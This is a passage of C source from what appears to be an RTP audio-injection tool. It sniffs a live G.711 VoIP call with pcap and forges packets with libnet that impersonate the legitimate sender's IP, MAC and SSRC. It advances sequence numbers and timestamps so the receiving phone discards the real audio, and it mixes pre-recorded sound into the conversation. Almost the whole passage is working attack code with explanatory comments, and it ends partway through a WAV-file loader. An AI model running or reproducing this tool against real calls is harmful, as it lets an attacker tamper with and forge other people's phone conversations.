529 macString );
530
531 if ( rc >= sizeof ( pcap_filter ) ) {
532 printf ( "\nError: pcap filter string was limited at %u characters. "
533 "Expected room to spare.\n", sizeof ( pcap_filter ) - 1 );
534 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
535 }
536
537 if ( rc < 0 ) {
538 printf ( "\nError: pcap filter string problem. Size of string = %u\n",
539 sizeof ( pcap_filter ) - 1 );
540 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
541 }
542
543 rc = pcap_compile ( h_pcap_live_rtp,
544 &compiled_pcap_filter,
545 pcap_filter,
546 0, // don't optimize filter
547 0xFFFFFF00 ); // netmask (i.e. 255.255.255.0)
548
549 if ( rc < 0 ) {
550 pcap_perror ( h_pcap_live_rtp, "\nError: pcap_compile filter : " );
551 printf ( "\n" );
552 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
553 }
554
555 rc = pcap_setfilter ( h_pcap_live_rtp, &compiled_pcap_filter );
556
557 if ( rc < 0 ) {
558 pcap_perror ( h_pcap_live_rtp, "\nError: pcap_setfilter : " );
559 printf ( "\n" );
560 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
561 }
562
563 //
564 // program pointed by the bpf_program may be freed after the program
565 // has been installed by a call to pcap_setfilter
566 //
567
568 pcap_freecode( &compiled_pcap_filter );
569
570 if ( bVerbose ) {
571 printf ( "\npcap filter installed for live audio stream "
572 "sniffing: %s\n", pcap_filter );
573 }
574
575 //
576 // The pcap manual states that pcap_next( ) is always blocking. Perhaps
577 // this statement can be extrapolated to use of pcap_next_ex( ) as well.
578 // Just to be safe, explicitly set the pcap descriptor to blocking.
579 //
580
581 pcap_setnonblock( h_pcap_live_rtp,
582 0, // 0 = blocking
583 pcap_errbuf );
584
585 rc = pcap_getnonblock( h_pcap_live_rtp, pcap_errbuf );
586
587 if ( bVerbose ) {
588 if ( rc == 0 ) {
589 printf ( "\npcap live %s interface is blocking\n\n", psDevice );
590 } else {
591 if ( rc == -1 ) {
592 printf ( "\npcap getnonblock( ) error: %s\n\n", pcap_errbuf );
593 } else {
594 printf ( "\npcap live %s interface is non-blocking\n\n",
595 psDevice );
596 }
597 }
598 }
599
600 //
601 // Set the direction that pcap will capture packets. This tool spoofs the transmitter
602 // of an audio stream that pcap's filter is now programmed to detect. We don't want
603 // pcap to mistake this tool's outgoing packet's for those we are interested in
604 // receiving. So, restrict the pcap capture to incoming packets only.
605 //
606
607 /* Setting the direction did not appear to work when spoofing packets.
608 Instead, we had to set the pcap filter to exclude packets with the MAC
609 address of the ethernet interface this host is using to receive legitimate
610 packets and transmit spoofed packets
611
612 rc = pcap_setdirection ( h_pcap_live_rtp, PCAP_D_IN );
613
614 if ( rc == -1 ) {
615 pcap_perror ( h_pcap_live_rtp,
616 "\nError: could not set pcap capture direction : " );
617 printf ( "\n" );
618 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
619 }
620 */
621
622 printf ( "\nAttempting to sniff RTP packets from "
623 "the specified audio stream......" );
624 fflush ( stdout );
625
626 rc = pcap_next_ex ( h_pcap_live_rtp, &ppcap_pkthdr, &packet );
627
628 if ( rc == -1 ) {
629 pcap_perror ( h_pcap_live_rtp,
630 "\nError: while attempting to sniff live audio : " );
631 printf ( "\n" );
632 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
633 }
634
635 if ( rc == 0 ) {
636 printf ( "\nTimeout reported by pcap_next_ex( ), but "
637 "no timeout was requested.\n" );
638 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
639 }
640
641 printf ( "\nSuccessfully detected a packet from targeted audio stream.\n" );
642
643 if ( bVerbose ) {
644 decodeAndPrintRTPMsg ( packet );
645 }
646
647 //
648 // Prime the rtp_msg_to_insert structure with the
649 // rtp header of the captured packet
650 //
651
652 memcpy ( &(rtp_msg_to_insert.rtp_hdr),
653 packet + offset_to_rtp_msg,
654 sizeof ( struct rfc1889_rtp_hdr ) );
655
656 //
657 // Confirm that the target audio stream is G.711.
658 //
659 // FIXME: The tool only supports G.711 ulaw.
660 //
661
662 if ( rtp_msg_to_insert.rtp_hdr.payloadType !=
663 __RTPMIXSOUND_G711_PAYLOAD_TYPE ) {
664 printf ( "\nThe target audio stream is not bearing G.711"
665 "\nu-law encoded audio. Payload type = %u\n",
666 rtp_msg_to_insert.rtp_hdr.payloadType );
667 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
668 }
669
670 //
671 // Initialize the libnet library in preparation for spoofing. Root privileges are required.
672 //
673 // Note: it has been demonstrated that the order in which ethernet interfaces appear
674 // in your route table might override your attempt to output spoofed packets
675 // over a certain ethernet interface. For example, the device specified in the
676 // call to libnet_init() below might prove irrelevant.
677 //
678 // For example, suppose the user executing this tool specified eth2 on the
679 // command line. However, suppose eth0 is also up, eth0 was brought into
680 // service earlier than eth2, and eth0 also provides a route to the targeted
681 // destination device. In that case, eth0 will appear in the route table before
682 // eth2. The spoofed packets are transmitted out eth0 instead of eth2!!!!
683 // The problem in this example can be solved in one of the following ways:
684 //
685 // 1) specify eth0 instead of eth2 on the command line
686 // 2) Take eth0 down. Its entry is automatically removed from the route table
687 // 3) Take eth0 down and then bring it up. This changes the order
688 // of the interfaces in the route table
689 //
690 // Who cares which interface is used if the packets make it to the intended
691 // destination in a timely fashion? We do. The reason is that the pcap filter
692 // (i.e. see above) had to exclude receiving packets from the MAC of the
693 // interface stipulated by the user on the command line. The filter prevents
694 // the tool from recapturing spoof packets it generates (i.e. spoofing itself).
695 // If the spoofed packets exit this host on a different interface then the
696 // one specified on the command line, they might be transmitted back to
697 // this host through the interface specified on the command line
698 // (e.g. if, for example, both interfaces are connected to a hub). Since the
699 // source MAC on the packets will be the interface through which the
700 // spoofed packets were unintentionally transmitted, the pcap filter
701 // will not exclude them from being captured. The ramification of this
702 // will be that the tool will feed on its own output and the pre-recorded
703 // audio file will be exhaused in a fraction of a second.
704 //
705
706 printf ("\n __RTPMIXSOUND_LIBNET_PROTOCOL_LAYER = %u \n",
707 __RTPMIXSOUND_LIBNET_PROTOCOL_LAYER );
708
709 #if __RTPMIXSOUND_LIBNET_PROTOCOL_LAYER == __RTPMIXSOUND_LIBNET_IP
710
711 l = libnet_init (
712 LIBNET_RAW4, // injection type
713 psDevice, // network interface (i.e. see note above)
714 libnet_errbuf ); // errbuf
715
716 printf ( "\nWill inject spoofed audio at IP layer\n" );
717
718 #elif __RTPMIXSOUND_LIBNET_PROTOCOL_LAYER == __RTPMIXSOUND_LIBNET_ETHERNET
719
720 l = libnet_init(
721 LIBNET_LINK, // injection type
722 psDevice, // network interface
723 libnet_errbuf ); // errbuf
724
725 printf ( "\nWill inject spoofed audio at Ethernet layer\n" );
726
727 #else
728
729 printf ( "\nInvalid Compiler PreProcessor value was assigned to: \n"
730 "\n__RTPMIXSOUND_LIBNET_PROTOCOL_LAYER. Check rtpmixsound.h\n" );
731 CleanupAndExit ( EXIT_FAILURE );
732
733 #endif
734
735 if ( l == NULL ) {
736 fprintf ( stderr, "libnet_init() failed: %s\n", libnet_errbuf );
737 CleanupAndExit ( EXIT_FAILURE ); // control does not return
738 }
739
740 //
741 // Build the libnet UDP packet. This one doesn't really count, but it's used
742 // to prime the audio insertion loop to follow shortly. That loop is where each
743 // memory-resident RTP message will have its RTP header values set
744 // properly to spoof the legitimate audio stream. The thought here is that
745 // libnet probably takes longer to execute the first time it creates a ptag
746 // UDP header as opposed to when it simply updates one.
747 //
748
749 udp_tag = libnet_build_udp (
750 rtpSrcPort, // source port
751 rtpDestPort, // destination port
752 LIBNET_UDP_H + g711_rtp_msg_len, // total UDP packet length
753 0, // let libnet compute checksum
754 (u_int8_t *) &rtp_msg_to_insert, // payload
755 g711_rtp_msg_len, // payload length
756 l, // libnet handle
757 udp_tag ); // ptag - 0 = build new, !0 = reuse
758
759 if ( udp_tag == -1 ) {
760 printf ( "Can't build UDP packet: %s\n", libnet_geterror( l ) );
761 CleanupAndExit ( EXIT_FAILURE ); // control does not return
762 }
763
764 //
765 // Build the libnet IP header. This one doesn't really count, but it's used
766 // to prime the audio insertion loop to follow shortly. That loop is where
767 // header values in the spoofed packet are manipulated relative to the
768 // packet received triggering the spoofed packet output. The thought here
769 // is that libnet probably takes longer to execute the first time it creates a
770 // ptag IP header as opposed to when it simply updates one.
771 //
772
773 ipPacketSize = LIBNET_IPV4_H + LIBNET_UDP_H + g711_rtp_msg_len;
774
775 ip_hdr = ( struct libnet_ipv4_hdr * ) ( packet + offset_to_ip_hdr );
776
777 ip_tag = libnet_build_ipv4 (
778 ipPacketSize, // size
779 ip_hdr->ip_tos, // ip tos
780 ntohs ( ip_hdr->ip_id ), // ip id
781 ntohs ( ip_hdr->ip_off ), // fragmentation bits
782 ip_hdr->ip_ttl, // ttl
783 IPPROTO_UDP, // protocol
784 0, // let libnet compute checksum
785 rtpSrcIPv4Addr, // source address
786 rtpDestIPv4Addr, // destination address
787 NULL, // payload
788 0, // payload length
789 l, // libnet context
790 ip_tag ); // ptag - 0 = build new, !0 = reuse
791
792 if ( ip_tag == -1 ) {
793 printf ( "Can't build IP header: %s\n", libnet_geterror( l ) );
794 CleanupAndExit ( EXIT_FAILURE );
795 }
796
797 #if __RTPMIXSOUND_LIBNET_PROTOCOL_LAYER == __RTPMIXSOUND_LIBNET_ETHERNET
798
799 //
800 // Build the libnet Ethernet header. This one doesn't really count, but it's used
801 // to prime the audio insertion loop to follow shortly. The Ethernet header
802 // is expected to be constant for all spoofed packets in a given stream. However,
803 // the FCS (i.e. Frame Check Sequence) appearing at the end of the Ethernet
804 // packet will change with each packet since the content of the Ethernet
805 // payload changes with each packet. The thought here is that libnet probably
806 // takes longer to execute the first time it creates a ptag Ethernet header as
807 // opposed to when it simply updates one.
808 //
809
810 eth_hdr = ( struct libnet_ethernet_hdr * ) packet;
811
812 ether_tag = libnet_build_ethernet (
813 (u_int8_t *) &(eth_hdr->ether_dhost), // dest mac
814 (u_int8_t *) &(eth_hdr->ether_shost), // source mac
815 ETHERTYPE_IP, // type upper layer protocol
816 NULL, // payload
817 0, // payload size
818 l, // libnet handle
819 ether_tag ); // ptag - 0 = build new, !0 = reuse
820
821 if ( ether_tag == -1 ) {
822 printf( "Can't build standard ethernet header: %s\n",
823 libnet_geterror( l ) );
824 CleanupAndExit( EXIT_FAILURE );
825 }
826
827 #endif
828
829 printf ( "\nWill now synchronize the mixing/interlacing of the"
830 "\npre-recorded audio to the next audio packet captured"
831 "\nfrom the target audio stream."
832 "\n"
833 "\nThere will be no further printed output until pre-recorded"
834 "\naudio playback has completed. Since the audio to mix is"
835 "\n%4.2f sec in length, the tool has failed if greater than"
836 "\nabout %4.2f seconds elapse without a completion confirmation."
837 "\nIn all likelihood, failure to begin mixing audio, or failure"
838 "\nto complete the mixing once it has begun, means the target"
839 "\naudio stream is no longer available to drive the mixing"
840 "\nloop (e.g. the targeted call has ended or changed state)."
841 "\nIt's also possible you're attempting to run the tool on a"
842 "\nvery slow or very heavily loaded machine.\n",
843 expectedAudioPlaybackTime, expectedAudioPlaybackTime );
844 fflush ( stdout );
845
846 //
847 // Sync to the targeted audio stream for real-time playback of pre-recorded audio.
848 // First make sure the incoming buffer of pcap messages has been drained.
849 // Unfortunately, there is no mechanism to explicitly inquire whether the
850 // pcap buffer is empty or how many packets are waiting to be retrieved.
851 // There are a couple of approaches to solving this problem. The chosen
852 // approach is to retrieve a packet and compare the time the packet
853 // arrived with the current time-of-day. When the current time-of-day
854 // is less than 1 ms later than the time-of-day recoded when the packet
855 // was received, we declare that packet to be the sync packet.
856 //
857
858 bFoundSyncPacket = false;
859
860 i = 0;
861
862 do {
863 rc = pcap_next_ex ( h_pcap_live_rtp, &ppcap_pkthdr, &packet );
864
865 if ( rc == -1 ) {
866 pcap_perror ( h_pcap_live_rtp,
867 "\nError: while attempting to sniff live audio : " );
868 printf ( "\n" );
869 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
870 }
871
872 if ( rc == 0 ) {
873 printf ( "\nTimeout reported by pcap_next_ex( ), but"
874 "no timeout was requested.\n" );
875 CleanupAndExit ( EXIT_FAILURE ); // control does not return
876 }
877
878 gettimeofday( &time_of_day, NULL ); // retrieve current TimeOfDay
879
880 // Compute TimeOfDay (sec resolution) - TimeOfArrival (sec resolution)
881
882 deltaTSec = time_of_day.tv_sec - ppcap_pkthdr->ts.tv_sec;
883
884 if ( deltaTSec == 0 ) {
885
886 // Times to compare are within same second
887
888 deltaTUsec =
889 time_of_day.tv_usec - ppcap_pkthdr->ts.tv_usec;
890
891 if ( deltaTUsec < 1000 ) {
892 // deltaT is within 1 ms
893 bFoundSyncPacket = true;
894 }
895
896 } else {
897
898 // The TOD has incremented into - at least - the next second
899 // compared to the TOA pcap recorded for the packet under
900 // evaluation. While it's unlikely the TOD is more than
901 // 1 second later than the TOA, we need to check to be certain
902
903 if ( deltaTSec == 1 ) {
904
905 // Worst case, this could be a delta of barely under 2 seconds.
906
907 deltaTUsec =
908 ( 1000000 + time_of_day.tv_usec ) -
909 ppcap_pkthdr->ts.tv_usec;
910
911 if ( deltaTUsec < 1000 ) {
912 // deltaT is within 1 ms
913 bFoundSyncPacket = true;
914 }
915 }
916 }
917
918 i++;
919 if ( i == 1000 && !bFoundSyncPacket ) {
920 printf ( "\nError: Evaluated 1000 packets from the udp "
921 "stream specified by the command line arguments. "
922 "None passed the stream sync criteria of being "
923 "evaluated within 1 ms of its arrival by pcap. "
924 "Either 1 ms is too tight a tolerance, the tool "
925 "is running on an extermely slow or heavily loaded "
926 "machine, or perhaps the stream you've targeted "
927 "is already under attack by a udp flood tool. "
928 "Since the audio stream should be no faster than "
929 "%u Hz, we're only expecting an audio packet about "
930 "once or twice every %u ms.\n\n",
931 __RTPMIXSOUND_G711_CODEC_RATE_HZ,
932 __RTPMIXSOUND_G711_CODEC_INTERVAL_USEC );
933
934 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
935 }
936 } while ( !bFoundSyncPacket );
937
938 // printf ( "\n# loops required to sync = %u\nDeltaTUsec = %d\n", i, deltaTUsec );
939
940 //
941 // The output of each spoofed packet is triggered by the reception of an
942 // audio packet from the transmitter being spoofed. Spoofed packets have
943 // RTP header sequence number and timestamp values adjusted by a factor
944 // relative to the header values captured in the legitimate RTP packet provoking
945 // the output of a corresponding spoof packet. If the goal is to convince the
946 // destination endpoint to accept spoof packets and reject legitimate
947 // packets, then a small positive factor should be adequate (e.g. 1 to 5).
948 // The destination endpoint is expected to view legitimate packets as being
949 // late (delayed) compared to spoofed packets with advanced sequence number
950 // and timestamp value. Hopefully, the receiving endpoint discards the
951 // legitimate audio packets. The tool's user is able to override the default factor
952 // with an optional command line argument. The tool's user is able to input
953 // a positive or negative factor.
954 //
955
956 for ( i = 0; i < numG711PacketEquivalents; i++ ) {
957
958 //
959 // Extract the values from the legitimate RTP msg for spoofing as
960 // as a future RTP msg in the audio stream.
961 //
962
963 rtp_hdr = ( struct rfc1889_rtp_hdr * ) ( packet + offset_to_rtp_msg );
964
965 spoofSeqNumber = ntohs ( rtp_hdr->sequenceNumber );
966
967 spoofTimestamp = ntohl ( rtp_hdr->timestamp );
968
969 spoofSSRC = ntohl ( rtp_hdr->ssrc );
970
971 //
972 // Insert the RTP msg header values into the next spoofed (i.e. inserted) RTP msg.
973 // The key header values are advanced by a factor driven by an optional
974 // command line input (or by a default factor if the optional factor is not entered).
975 //
976
977 rtp_msg_to_insert.rtp_hdr.sequenceNumber =
978 htons ( ( unsigned short )
979 ( ( ( int ) spoofSeqNumber ) + spoofFactor ) );
980
981 // note: for the G.711 codec, the timestamp is simply an increment of the
982 // of audio bytes comprising the payload.
983
984 rtp_msg_to_insert.rtp_hdr.timestamp =
985 htonl ( spoofTimestamp + ( __RTPMIXSOUND_G711_PAYLOAD_LEN *
986 spoofFactor ) );
987
988 rtp_msg_to_insert.rtp_hdr.ssrc = htonl ( spoofSSRC );
989
990 //
991 // Convert each captured RTP payload byte to the equivalent 16-bit linear PCM,
992 // add to it the corresponding 16-bit linear PCM value from the ith pre-recorded
993 // audio packet, encode the sum back to 8-bit u-law, and write the byte into the
994 // RTP packet to insert into the audio stream.
995 //
996 // From an Internet audio site describing a PCM mixer with hw support:
997 //
998 // "If one wants to mix two PCM audio streams, it is important to note
999 // that one cannot simply add logarithmic signals together, as it will
1000 // cause distortion. One first has to linearize the incoming audio, add
1001 // it together, then compress it again before transmission. When one
1002 // adds two PCM streams together, the result may become bigger than
1003 // the maximum deflection the CODEC can handle, which will sound
1004 // bad as well. It is therefore recommended to scale back the mixed
1005 // signal by 3dB."
1006 //
1007
1008 pUlawByte = ( (unsigned char *) packet ) + offset_to_rtp_payload;
1009 pPCMShort = &( pcmSamplesToMix[ i ].pcm_value[ 0 ] );
1010
1011 for ( j = 0; j < __RTPMIXSOUND_G711_PAYLOAD_LEN; j++ ) {
1012 audioMix = ( int ) ( *pPCMShort );
1013 audioMix += ( int ) ( ulaw2linear ( *pUlawByte ) );
1014 audioMix /= 2; // reduce by 3db (i.e. half power)
1015
1016 rtp_msg_to_insert.rtp_payload[ j ] =
1017 linear2ulaw ( ( short ) audioMix );
1018
1019 pUlawByte++;
1020 pPCMShort++;
1021 }
1022
1023 #if __RTPMIXSOUND_LIBNET_PROTOCOL_LAYER == __RTPMIXSOUND_LIBNET_ETHERNET
1024
1025 // Since the Source MAC of the legitimate RTP transmitter is going to be
1026 // spoofed, mark the spoofed packets so this tool will know to reject "incoming"
1027 // packets with that mark. The "mark" is the pattern 0,1,0,1,0,1 in the low order
1028 // bit of the first 6 RTP payload bytes.
1029
1030 rtp_msg_to_insert.rtp_payload[ 0 ] =
1031 rtp_msg_to_insert.rtp_payload[ 0 ] & 0xfe;
1032 rtp_msg_to_insert.rtp_payload[ 1 ] =
1033 rtp_msg_to_insert.rtp_payload[ 1 ] | 0x01;
1034 rtp_msg_to_insert.rtp_payload[ 2 ] =
1035 rtp_msg_to_insert.rtp_payload[ 2 ] & 0xfe;
1036 rtp_msg_to_insert.rtp_payload[ 3 ] =
1037 rtp_msg_to_insert.rtp_payload[ 3 ] | 0x01;
1038 rtp_msg_to_insert.rtp_payload[ 4 ] =
1039 rtp_msg_to_insert.rtp_payload[ 4 ] & 0xfe;
1040 rtp_msg_to_insert.rtp_payload[ 5 ] =
1041 rtp_msg_to_insert.rtp_payload[ 5 ] | 0x01;
1042
1043 #endif
1044
1045 //
1046 // Update the UDP packet.
1047 //
1048
1049 udp_tag = libnet_build_udp (
1050 rtpSrcPort, // source port
1051 rtpDestPort, // destination port
1052 LIBNET_UDP_H + g711_rtp_msg_len, // total UDP packet length
1053 0, // let libnet compute checksum
1054 (u_int8_t *) &rtp_msg_to_insert, // udp payload
1055 g711_rtp_msg_len, // udp payload length
1056 l, // libnet handle
1057 udp_tag ); // ptag - 0 = build new, !0 = reuse
1058
1059 if ( udp_tag == -1 ) {
1060 printf ( "Looping: Can't build UDP packet: %s\n",
1061 libnet_geterror( l ) );
1062 CleanupAndExit ( EXIT_FAILURE ); // control does not return
1063 }
1064
1065 //
1066 // Note: libnet seems to have problems computing correct UDP checksums
1067 // reliably. Since the UDP checksum is optional, it can be set to zeros
1068 // (i.e. see the call to libnet_build_udp above) and a call to
1069 // libnet_toggle_checksum () can be used to disable the checksum
1070 // calculation by libnet
1071 //
1072
1073 libnet_toggle_checksum ( l, udp_tag, LIBNET_OFF );
1074
1075 //
1076 // Update the IP header by spoofing the necessary values from the received packet's
1077 // IP header.
1078 //
1079
1080 ip_hdr = ( struct libnet_ipv4_hdr * ) ( packet + offset_to_ip_hdr );
1081
1082 spoofID = ntohs ( ip_hdr->ip_id );
1083
1084 spoofID = ( unsigned short ) ( ( ( int ) spoofID ) + spoofFactor );
1085
1086 ip_tag = libnet_build_ipv4 (
1087 ipPacketSize, // size
1088 ip_hdr->ip_tos, // ip tos
1089 spoofID, // ip id
1090 // ntohs ( ip_hdr->ip_id ), // ip id
1091 ntohs ( ip_hdr->ip_off ), // fragmentation bits
1092 ip_hdr->ip_ttl, // ttl
1093 IPPROTO_UDP, // protocol
1094 0, // let libnet compute checksum
1095 rtpSrcIPv4Addr, // source address
1096 rtpDestIPv4Addr, // destination address
1097 NULL, // payload
1098 0, // payload length
1099 l, // libnet context
1100 ip_tag ); // ptag - 0 = build new, !0 = reuse
1101
1102 if ( ip_tag == -1 ) {
1103 printf ( "Looping: Can't build IP header: %s\n",
1104 libnet_geterror( l ) );
1105 CleanupAndExit ( EXIT_FAILURE );
1106 }
1107
1108 #if __RTPMIXSOUND_LIBNET_PROTOCOL_LAYER == __RTPMIXSOUND_LIBNET_ETHERNET
1109
1110 //
1111 // Update the Ethernet header by spoofing the necessary values from
1112 // the received packet's Ethernet header
1113 //
1114
1115 eth_hdr = ( struct libnet_ethernet_hdr * ) packet;
1116
1117 ether_tag = libnet_build_ethernet (
1118 (u_int8_t *) &(eth_hdr->ether_dhost), // dest mac
1119 (u_int8_t *) &(eth_hdr->ether_shost), // source mac
1120 ETHERTYPE_IP, // type upper layer protocol
1121 NULL, // payload
1122 0, // payload size
1123 l, // libnet handle
1124 ether_tag ); // ptag - 0 = build new, !0 = reuse
1125
1126 if ( ether_tag == -1 ) {
1127 printf( "Can't build standard ethernet header: %s\n",
1128 libnet_geterror( l ) );
1129 CleanupAndExit( EXIT_FAILURE );
1130 }
1131
1132 #endif
1133
1134 //
1135 // Are we dealing with a phone that requires the reception of the
1136 // spoofed packet to be within a specified deltaT of when the phone
1137 // will receive the next legitimate packet?
1138 //
1139
1140 if ( jitterFactor < 80 ) {
1141 delayTransmitOfSpoofedPacket( __RTPMIXSOUND_G711_CODEC_INTERVAL_USEC );
1142 }
1143
1144 //
1145 // Write the packet.
1146 //
1147
1148 bytesWritten = libnet_write( l );
1149 if ( bytesWritten == -1 ) {
1150 fprintf ( stderr, "Write error: %s\n", libnet_geterror( l ) );
1151 CleanupAndExit ( EXIT_FAILURE ); // control does not return
1152 }
1153
1154 //
1155 // Make sure the number of written bytes jives with what we expect.
1156 //
1157
1158 if ( bytesWritten < ipPacketSize ) {
1159 fprintf ( stderr,
1160 "Write error: libnet only wrote %d of %d bytes",
1161 bytesWritten,
1162 ipPacketSize );
1163 CleanupAndExit ( EXIT_FAILURE ); // control does not return
1164 }
1165
1166 //
1167 // Wait for next legitimate audio packet as trigger to output next spoofed audio packet
1168 //
1169
1170 #if __RTPMIXSOUND_LIBNET_PROTOCOL_LAYER == __RTPMIXSOUND_LIBNET_ETHERNET
1171
1172 // No need for a loop to examine the content of "incoming" RTP
1173 // packets to see if they're legitimate unless the tool is spoofing
1174 // the Source MAC of the legitimate transmitter.
1175
1176 bool bReceivedLegitimatePacket;
1177 bReceivedLegitimatePacket = false;
1178
1179 while ( !bReceivedLegitimatePacket ) {
1180
1181 #endif
1182 // Note: need this stuff regardless of whether the Source MAC of
1183 // the legitimate transmitter is being spoofed by the tool.
1184
1185 packet = NULL;
1186
1187 rc = pcap_next_ex ( h_pcap_live_rtp, &ppcap_pkthdr, &packet );
1188
1189 if ( rc == -1 ) {
1190 pcap_perror ( h_pcap_live_rtp,
1191 "\nError: while attempting to sniff live audio : " );
1192 printf ( "\n" );
1193 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
1194 }
1195
1196 if ( rc == 0 ) {
1197 printf ( "\nTimeout reported by pcap_next_ex( ), but"
1198 "no timeout was requested.\n" );
1199 CleanupAndExit ( EXIT_FAILURE ); // control does not return here
1200 }
1201
1202 #if __RTPMIXSOUND_LIBNET_PROTOCOL_LAYER == __RTPMIXSOUND_LIBNET_ETHERNET
1203
1204 // Since the Source MAC of outgoing RTP packets are being spoofed,
1205 // we must make sure we prevent the tool from feeding upon its
1206 // own output packets. See if the pattern 0,1,0,1,0,1 is endoded into
1207 // the low order bit of the first 6 bytes of the RTP payload.
1208
1209 const u_char *pRTPpayload;
1210
1211 pRTPpayload = packet + offset_to_rtp_payload;
1212
1213 if ( ( ( *( pRTPpayload + 0 ) & 0x01 ) != 0 ) ||
1214 ( ( *( pRTPpayload + 1 ) & 0x01 ) != 1 ) ||
1215 ( ( *( pRTPpayload + 2 ) & 0x01 ) != 0 ) ||
1216 ( ( *( pRTPpayload + 3 ) & 0x01 ) != 1 ) ||
1217 ( ( *( pRTPpayload + 4 ) & 0x01 ) != 0 ) ||
1218 ( ( *( pRTPpayload + 5 ) & 0x01 ) != 1 ) ) {
1219 bReceivedLegitimatePacket = true;
1220 }
1221 } // end while ( legitimate RTP packet not received )
1222
1223 #endif
1224
1225 } // end spoofed RTP packet output loop
1226
1227 printf ( "\n\nMixing/interlacing the pre-recorded audio with the\n"
1228 "target audio stream has completed.\n" );
1229
1230 CleanupAndExit ( EXIT_SUCCESS );
1231
1232 } // end main
1233
1234
1235 //-----------------------------------------------------------------------------
1236 //
1237 // preloadWavAudio ( char *psInputAudioFile,
1238 // struct pcm pcmSamplesToMix[],
1239 // unsigned int *numG711PacketEquivalents )
1240 //
1241 // This routine expects psInputAudioFile to point to a
1242 // string with the name of a file containing pre-recorded
1243 // audio to load into memory. The file is expected to be a
1244 // standard Microsoft multimedia RIFF formatted file
1245 // containing WAVE formated audio.
1246 //
1247 // This routine shall confirm that the file content meets the
1248 // the following restrictions:
1249 //
1250 // File type: Microsoft RIFF
1251 // File Resource Type: WAVE
1252 // Compression Code: PCM/uncompressed
1253 // Sample Frequency: 8000 Hz
1254 // Sample size: unsigned 8-bit or signed 16-bit.
1255 //
1256 // The file must have "chunks" in this order:
1257 //
1258 // RIFF chunk
1259 // format chunk
1260 // fact chunk
1261 // data chunk
1262 //
1263 // or
1264 //
1265 // RIFF chunk
1266 // format chunk
1267 // data chunk
1268 //
1269 // If the file does not comply with the required
1270 // configuration, the Linux sox command is
1271 // suggested as a means to convert the file
1272 // to the required configuration.
1273 //
1274 // Pre-recorded audio content is read, converted to
1275 // signed 16-bit linear PCM (if it is not already),into PCM, and
1276 // loaded into memory because receiving the audio payload of
1277 // each live audio packet, decoding it from G.711 into 16-bit
1278 // linear PCM, mixing it with the PCM of the next pre-recorded
1279 // audio sample, encoding the mixture back into G.711 ulaw,
1280 // and writing spoofed packet onto the wire is time critical.
1281 // So, getting the pre-recorded audio in a format ready to
1282 // mix with the incoming audio is beneficial. Also,
1283 // reading from a disk drive on an arbitrary platform would
1284 // yield unpredictable timing due to several factors (e.g. speed
1285 // of the machine, disk buffer sizes, disk caching parameters,
1286 // disk access time, ...etc).
1287 //
1288 // Of course, swapping of the memory resident, pre-recorded audio
1289 // in PCM form to disk could occur as a consequence of normal
1290 // OS data paging operation.
1291 //
1292 // FIXME: Declare that some data should remain
1293 // memory-resident at all times.
1294 //
1295 //-----------------------------------------------------------------------------
1296
1297 bool preloadWavAudio ( char *psInputAudioFile,
1298 struct pcm pcmSamplesToMix[],
1299 unsigned int *numG711PacketEquivalents ) {
1300
1301 FILE *fpAudio = NULL;
1302
1303 int i, j, rc;
1304
1305 struct {
1306 char c_chunkID[4]; // Should be 4 ASCII characters
1307 unsigned int ui_chunkSize; // i.e. does not include hdrCHUNK
1308 } hdrCHUNK;
1309
1310 struct {
1311 unsigned char c_chunkID[4]; // Should be the ASCII characters: RIFF
1312 unsigned int ui_audioFileSize; // i.e. file size - 8
1313 unsigned char c_typeRIFF[4]; // Should be the ASCII characters: WAVE
1314 } hdrRIFF;
1315
1316 //
1317 // hdrFMT is the structure of the fmt chunk when there are no extra format bytes
1318 // (i.e. when ui_fmtChunkSize = 16).
1319 //
1320 struct {
1321 char c_chunkID[4]; // Should be the ASCII characters: fmt<space>
1322 unsigned int ui_fmtChunkSize; // i.e. 16 + extra format bytes
1323 unsigned short us_compressionCode; // 1 to 65535
1324 unsigned short us_numChannels; // 1 to 65535
1325 unsigned int ui_sampleRate; // 1 to ( 2**32 - 1 )
1326 unsigned int ui_avgBytesPerSec; // 1 to ( 2**32 - 1 )
1327 unsigned short us_blockAlign; // 1 to 65535
1328 unsigned short us_numSignificantBitsPerSample; // 2 to 65535
1329 } hdrFMT;
1330
1331 //
1332 // Check that the audio input file has a standard RIFF header and that the
1333 // format type is: WAVE
1334 //
1335
1336 fpAudio = fopen ( psInputAudioFile, "r" );
1337
1338 if ( !fpAudio ) {
1339 printf ( "\nCouldn't open pre-recorded audio file: %s\n",
1340 psInputAudioFile );
1341
1342 return false;
1343 }
1344
1345 rc = fread ( &hdrRIFF, sizeof ( hdrRIFF ), 1, fpAudio );
1346
1347 if ( rc != 1 ) {
1348 printf ( "\nEOF on input file attempting to read"
1349 "\nthe standard RIFF header\n" );
1350 fclose ( fpAudio );
1351 fpAudio = NULL;
1352
1353 return false;
1354 }
1355
1356 if ( bVerbose ) {
1357 printf ( "\nAudio file format: %c%c%c%c 0x%0x 0x%0x 0x%0x 0x%0x \n",
1358 hdrRIFF.c_chunkID[0],
1359 hdrRIFF.c_chunkID[1],
1360 hdrRIFF.c_chunkID[2],
1361 hdrRIFF.c_chunkID[3],
1362 hdrRIFF.c_chunkID[0],
1363 hdrRIFF.c_chunkID[1],
1364 hdrRIFF.c_chunkID[2],
1365 hdrRIFF.c_chunkID[3] );
1366 }
1367
1368 if ( hdrRIFF.c_chunkID[0] != 'R' ||
1369 hdrRIFF.c_chunkID[1] != 'I' ||
1370 hdrRIFF.c_chunkID[2] != 'F' ||
1371 hdrRIFF.c_chunkID[3] != 'F' ) {
1372 printf ( "\nPre-recorded audio input does not have a standard RIFF header\n" );
1373 fclose ( fpAudio );
1374 fpAudio = NULL;
1375
1376 return false;
1377 }
1378
1379 if ( bVerbose ) {
1380 printf ( "\nTotal Audio File Size: %u\n", hdrRIFF.ui_audioFileSize + 8 );
1381
1382 printf ( "\nPre-recorded audio content format: %c%c%c%c 0x%0x 0x%0x 0x%0x 0x%0x\n",
